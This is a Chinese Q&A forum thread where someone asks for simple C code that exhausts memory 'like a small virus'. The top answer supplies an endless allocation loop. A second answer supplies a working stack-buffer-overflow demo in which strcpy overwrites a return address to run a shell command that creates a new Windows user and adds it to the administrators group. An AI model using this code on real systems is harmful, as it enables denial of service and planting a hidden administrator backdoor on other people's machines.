c语言 使内存溢出的代码
答案:2 悬赏:40 手机版
解决时间 2021-02-07 04:14
- 提问者网友:欺烟
- 2021-02-06 15:12
c语言怎么通过简单的循环语句 造成内存溢出 就像一个小病毒一样
最佳答案
- 五星知识达人网友:神也偏爱
- 2021-02-06 15:57
while(1)
{
int *p = new int[10000];
}
{
int *p = new int[10000];
}
全部回答
- 1楼网友:woshuo
- 2021-02-06 16:21
写了一个c++的代码,你用vc6 编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。
#include
using namespace std;
void (*pfunc)();
void show()
{
system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad");
exit(1);
}
int main()
{
char a[4];
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
pfunc=show;
*(int *)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return 0;
}
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯